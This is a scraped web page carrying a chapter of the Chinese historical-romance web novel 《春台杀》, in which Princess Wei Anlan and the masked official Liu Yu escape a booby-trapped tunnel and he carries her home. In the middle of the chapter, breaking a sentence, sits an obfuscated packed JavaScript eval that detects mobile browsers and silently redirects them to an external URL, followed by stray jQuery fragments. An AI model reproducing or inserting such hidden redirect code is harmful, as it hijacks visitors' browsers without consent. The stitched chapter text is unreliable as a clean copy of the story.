14.微臣背你
作品:《春台杀》 就在两柄短剑相交,发出刺耳的金属断裂声时,柳遇张臂抱住卫安澜的腰,用力向后一拉。
二人双双倒地,暗器射空,石壁从中间豁然裂开一个大口子,停止了移动。
碎块散落一地,原来左右两面的石壁都是空心的,卫安澜居然撬动枢轴,凭着机括纵横连接的力量击穿石板,彻底毁了这处暗格。
暗道里重归宁静,卫安澜从柳遇怀中坐起,她定定地看着他,半晌才笑了笑,“柳大人耳力好,下手也稳,假以时日必能习得一身好武艺。”
的确,他的手向来很稳。
柳遇刻意忽略了卫安澜言语中的试探,心有余悸地叹道:“多谢殿下救了微臣一命。”
这还是两人第一次抛开杂念,不计立场,为了一个目标同心协力。这句感谢,柳遇说得真心实意。
卫安澜拾起短剑,扶着墙壁摇摇晃晃地站起,“这条暗道应是被分隔成了不同的暗室,用来躲避追击,只有对构造极其熟悉的人才能顺利通过。”
柳遇略一思索,明白了卫安澜的意思,“从我们进入暗道到机关启动,中间尚有一段时间,殿下是指现在正有人利用这条暗道逃生?”
“有可能。”卫安澜点点头,“走吧,看看我们该怎么出去。”
“殿下,”柳遇低声叫住她,语气略有凝滞,“你的荷包掉了。”
卫安澜望着柳遇手中的荷包,目光闪烁不定。这是那枚装有团龙玉佩的荷包,她连睡觉都要贴身收着,就算在暗道里精神过于紧张,怎会连荷包掉落都毫无察觉!
一想到方才柳遇最后保护她的动作,卫安澜的心不禁提到了嗓子眼。
难道……他是故意的?
卫安澜只手接过,趁柳遇不备时指尖迅速抚过荷包封口处的绳结,这才略略放心。
他不曾打开荷包就好。
四目相对,柳遇张了张口,二人所在的地面忽地升高。与此同时,石壁开始旋转,一个黑影正朝这边跑来。柳遇下意识地闪躲,卫安澜顺势展开披风,将他护在身后。
“什么人?”
卫安澜持剑阻拦,不想对方并不恋战,挡开她的进攻飞快地逃走了。卫安澜正不解,追杀他的人紧跟着便来了。只见他连续击打石壁的特定位置,脚下的地面亦随之高高低低地变化,形成一条不规则但足以通行的暗道。
蛇身蜿蜒,扭曲如带,前方果然有出口。
一片幽暗中,他跃至卫安澜面前,杀红了眼一般挥刀就砍。似曾相识的招式伴随着一股熟悉的气息扑面而来,卫安澜高声喝道:
“立冬住手!”
左麒出事那天立秋和立冬就失踪了,昨日立秋回来,立冬却始终杳无音信。
如今亲眼看到他没事,她便安心了。
听到卫安澜的声音,立冬倒吸一口凉气,忙收住力道,手中的刀堪堪停在卫安澜头顶。卫安澜见他认出了自己,忙道:“你快去追,小满在地道另一头,回去再说。”
“是,殿下保重。”
立冬答应了一声,继续飞身追赶。卫安澜和柳遇沿着立冬过来的方向走去,不出百步便看见了一架梯子。二人攀援而上,推开挡板,待看清洞口外的环境时,卫安澜和柳遇面面相觑,不禁怀疑自己是不是在地下待久了,眼睛出了问题。
怎么会是这里?
这个房间柳遇认得,卫安澜更认得。
几日前的清晨,她就在此地从噩梦中惊醒,身边躺着气绝多时的左麒。
神庙地下暗道的出口居然是醉琴楼?
一墙之隔,莺歌燕语依旧,一派热闹绮靡的气象,丝毫没有被左麒之死影响。或许是鸨母觉得晦气,才没有让客人宿在此间客房。
能让立冬穷追不舍的只能是左麒的另一个随从、石兴的同伴,只是他为何会进入这间房,又为何偏要通过暗道逃生?
难道他是来找信物,被立冬发现,情急之下才选择自己最熟悉的方式,想通过机关暗格将立冬困死在底下?
信物就在此房中?
卫安澜暗自思忖,把所有可能藏东西的地方都翻了一遍。罗衾绡帐,玉带冰簟,妆台上的鸳鸯戏莲熠熠生光,都是秦楼楚馆常见的装饰,并无任何异常,更没有与薛知宜提供的树叶有关的东西。
柳遇轻抿薄唇,低声问道:“殿下还在找石兴说的信物?”
卫安澜动作不疾不徐,淡淡道:“本宫最见不得我的人着急,前日柳大人搜查房间,可有收获?”
我的人。
她应当说的是被石兴二人耍得团团转的立秋和立冬吧,柳遇有些心不在焉地一笑,“没有。”
卫安澜本就不抱希望,便随意地“嗯”了一声,“柳大人今夜辛苦,早些回去休息吧。”
“多谢殿下体恤,请殿下先行。”
柳遇抬手示意,卫安澜看着他,露出思索的神情,“南都恐怕没人不认识柳大人的面具吧?你这样衣衫不整地从青楼走出去,不会有损刺史府的形象吗?”
见柳遇心下迟疑,卫安澜双臂环抱在胸前,似笑非笑道:“不如你摘掉面具,本宫再改改装扮,我们便能光明正大地走出去了。”
原来她存的是这个心思。
房间内只有火折子的微光在卫安澜和柳遇之间轻盈跃动,除了他们的面容,一切都深埋在黑暗里。柳遇眉目含笑,答非所问地道:“微臣可以跳窗。”
他宁愿跳窗,都不愿意取下面具。
初次见面试探时,她怎么没坚持摘掉他的面具呢?
真是可惜。
卫安澜唇角不自觉地扬起,柳遇有所隐瞒是好事,至少说明她尚有和他周旋的筹码。
“好啊。”
卫安澜吹灭火折,抄起角落里的伞,推窗纵身跃下。柳遇跟在她身后,动作虽然有些笨拙,颇费了一番工夫,好歹最后毫发无损地落了地。
夜雨仿佛一层薄薄的水雾,隔开天地间的一切,凡人所能窥见的仅是朦胧的幻影。直至此刻,卫安澜才有了劫后余生之感。
他们刚刚经历了生死,现在,当双脚踩在冰凉的雨水中时,方清晰地,真实地感受到,自己还活着。
虽然并未出口,但卫安澜知道,柳遇亦有同样的感觉。
她抬眼看了看雨势,将手中的伞递给柳遇,“柳大人去吧,本宫在这等小满他们。”
无论小满和薛知宜那边是否有出口,他们最终都会回到醉琴楼,在确认他们无恙之前,卫安澜不想离开。
她和柳遇的伞早就丢在神庙了,醉琴楼中常为客人备着伞,今天她暂时借用一下,明日还回来便是。
柳遇垂目看着卫安澜布满伤痕的手指,以及袖口处洇透的暗红,默默叹了口气,“殿下受伤了?”
许是被钢针刺到了吧,卫安澜早习惯了受伤,因而并不觉得怎样。
柳遇见她不语,忙继续劝道:“您已经见到了立冬公子,并且告诉他回府细谈,小满公子是聪明人,您不必等他了,微臣送您回去吧。”
他好像真的能读懂她。一旦吊着的那口气松下来,人只有无穷无尽的疲惫,更何况卫安澜才面对的不仅仅是杀人的机关,还有那个致命的怪病。她想支开他,可他担心他走后,她根本坚持不到小满回来。
柳遇蹲下身,温柔的目光直直落在卫安澜脸上,波光明灭,春潮暗涌。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137453|195704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“殿下,微臣背你。”
刹那间,好似有什么东西自伤口处炸开,卫安澜的心口冷不防地一颤。她十分厌恶这种感觉,不由得眯起眼睛,审视着面前这个把姿态放得极低的谦谦公子。
柳遇的白衣沾满了灰尘和泥水,头发也微微松散,几缕潮湿的碎发贴在侧脸,非但不见窘迫,反给他本就温和的面容增添了几分潇洒旷达。
他看穿了她的伪装,她的狼狈,她濒临崩溃的坚持,可她,却更看不懂他了。
卫安澜低着头,鬼使神差地应了一句:
“好。”
话才出口,卫安澜便有些郁闷。明知柳遇身份不明,动机不纯,她怎么能这么轻易地如他的意呢。
但卫安澜总不好出尔反尔拂了柳遇的面子,不过是同走一段路而已,有什么大不了的。于是,她伏在柳遇背上撑开伞,柳遇缓慢地站起,转向公主府的方向,一步一步走得很稳。
偌大的街巷空旷昏蒙,二人同在一把纸伞下,柳遇目光坚定地看着前路,卫安澜神色平静地望向远方。
风雨隔绝,喧嚣声远,一如那两颗各自跳动的,韵律交错的,坚韧得不为任何外物动摇的心。
直至回到公主府,卫安澜和柳遇都没有对彼此说一句话。
“殿下!”
少微和立秋匆匆跑下台阶,柳遇矮身放下卫安澜,却在看清立秋的样貌时,手中动作倏地一顿。
暗道中匆匆一瞥,柳遇记住了立冬棱角分明的脸型和硬朗的五官,可他万万没想到立秋和立冬几乎是一个模子里刻出来的。若不是衣着配饰稍有区别,柳遇还以为自己眼花了。
传说卫安澜喜新厌旧,公主府的面首来来去去,如今只剩下了四个人。除了惊蛰和小满外,还有一对双生兄弟,想来便是他们两个了。
春夏秋冬,正合四时美景。
柳遇眸中本就不明晰的光一点点凉下来,一缕轻蔑悄然爬上眉梢——要双生子侍奉,卫安澜还真是只顾享受,不把自己的名声当回事啊。
“本宫很好,放心吧。”卫安澜本想和二人说正事,一想到柳遇仍在旁边,便转了话题,“惊蛰怎么样了?”
“醒过来一次,但还是有些发热。我让他先安心休养,不必操心府里的事,等养好身子再见殿下不迟。”
卫安澜点点头,她知道少微惦念小满,便携起她的手道:“小满和立冬应当很快就会回醉琴楼,你去迎他们吧。”
少微红着眼,全神戒备地看了柳遇一眼,压低声音道:“小满死不了,老天才不收他呢,我是担心殿下,还是让立秋去吧。”
柳遇低下头,冷冷地勾起唇角。在齐国夫人府中,他不止一次注意到小满对少微挤眉弄眼,如今看来两人的关系果然非同一般。一个男人自甘堕落做面首就算了,竟还和侍女暧昧不清,真是上梁不正下梁歪。
都是卫安澜这个主子做的好榜样。
“好了,去吧,你我之间何须讲那些虚礼。”卫安澜推着少微下了台阶,目送她走远方才转回身,“立秋,去给柳大人找身干净衣服,别让他穿成这样回去,再被严凭训斥。”
立秋上下打量着柳遇,不情不愿地扭头就走。卫安澜笑了笑,颔首示意道:“柳大人,一路辛苦了,进来喝杯热茶吧。”
这是个难得的接近卫安澜的机会,加之柳遇的确有些口渴,便顺从地答应了。在他更衣的间歇,卫安澜走到廊下安静地站了一会,没有外人在的时候她不用摆出任何表情,此刻的她才是最放松的。
人能在险境中生出急智,但更远的谋划,得在精神不那么紧绷的时候进行。
“立秋,你过来。”

